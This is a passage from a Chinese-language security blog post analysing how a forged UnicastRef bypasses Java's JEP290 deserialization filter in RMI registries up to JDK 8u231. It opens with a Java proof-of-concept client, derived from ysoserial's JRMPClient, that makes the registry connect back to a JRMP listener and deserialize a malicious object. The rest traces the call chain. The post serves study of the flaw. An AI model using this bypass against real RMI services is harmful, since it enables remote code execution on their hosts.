    public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {
        Registry reg = LocateRegistry.getRegistry("localhost",2222); // rmi start at 2222
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333); // JRMPListener's port is 3333
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry) Proxy.newProxyInstance(TestClient.class.getClassLoader(), new Class[] {
                Registry.class
        }, obj);
        reg.bind("Hello",proxy);
    }
}

UnicastRef Bypass JEP290 分析 (jdk<=8u231)

这里的绕过原理图参考了的Hu3sky师傅文章里面的,相对来说比较好理解(注意我这里演示的JRMP端在3333端口):

通过UnicastRef对象建立一个JRMP连接,JRMPListener端将序列化传给注册中心反序列化的过程中没有setObjectInputFilter,传给注册中心的恶意对象会被反序列化进而攻击成功。

TestClient里面的语句是从ysoserial/payloads/JRMPClient.java里面取的,主要作用就是传递一个UnicastRef来给注册中心传递恶意对象。并且这个payload里面的对象都是在白名单里的,不会被拦截。

客户端调用LocateRegistry.getRegistry获取注册中心后,获得的是一个封装了UnicastRef对象的RegistryImpl_Stub对象,其中UnicastRef对象用于与注册中心创建通信。

这个payload的原理就是伪造了一个UnicastRef用于跟注册中心通信,我们从bind()方法开始分析一下这一整个流程。

当我们调用bind()方法时,注册中心处理数据的时候会对数据进行反序列化。使用的是readObject方法最终是调用了RemoteObjectInvocationHandler父类RemoteObjectreadObject(RemoteObjectInvocationHandler没有实现readObject方法)。

跟入readObject(),最后有一个ref.readExternal(in);,这个readObject()的调用链:

继续跟入:


可以看到这里把payload里所传入的LiveRef解析到var5变量处,里面包含了ip端口信息(JRMPListener的端口)。这些信息将用于后面注册中心与JRMP端建立通信。

接着再回到dispatch那里,在调用了readObject方法之后调用了var2.releaseInputStream();,持续跟入:

继续跟入this.in.registerRefs();

可以看到这里的传利的var2就是之前的ip端口信息。继续跟入:

EndpointEntry创建了一个DGCImpl_Stub,最后DGCCient.EndpointEntry返回的var2是一个DGCClient对象:

继续跟入var2.registerRef

最后一行调用了this.makeDirtyCall并传入了DGCClient对象:

调用了this.dgc.dirty方法:

在这里注册中心就跟JRMP开始建立连接了:通过newCall建立连接,writeObject写入要请求的数据,invoke来处理传输数据。这里是将数据发送到JRMP端,继续跟入看下在哪里接收的JRMP端的数据。跟入super.ref.invoke(var5);

跟入var1.executeCall()

JRMP端发过来的数据会在这里被反序列化,这一个过程是没有调用setObjectInputFilter的,serialFilter也就为空,所以只需要让JRMP端返回一个恶意对象就可以攻击成功了。而这个JRMP端可以直接用ysoserial启动。

判断serialFilterfilterCheck方法调用链如下:

Bypass JEP290 (jdk=8u231)

在JDK8u231的dirty函数中多了setObjectInputFilter过程,所以用UnicastRef就没法再进行绕过了。

国外安全研究人员@An Trinhs发现了一个gadgets利用链,能够直接反序列化UnicastRemoteObject造成反序列化漏洞。

可以参考Hu3sky师傅的分析文章:RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析

总结

RMI是我学习JAVA安全的第二个着重学习的内容了,花了接近两周才把知识给整理完,学起来还是很吃力的。不过在这不停的踩坑、调试过程中,学到的知识也是不少的。

参考


文章来源: https://xz.aliyun.com/t/8706#toc-14
如有侵权请联系:admin#unsafe.sh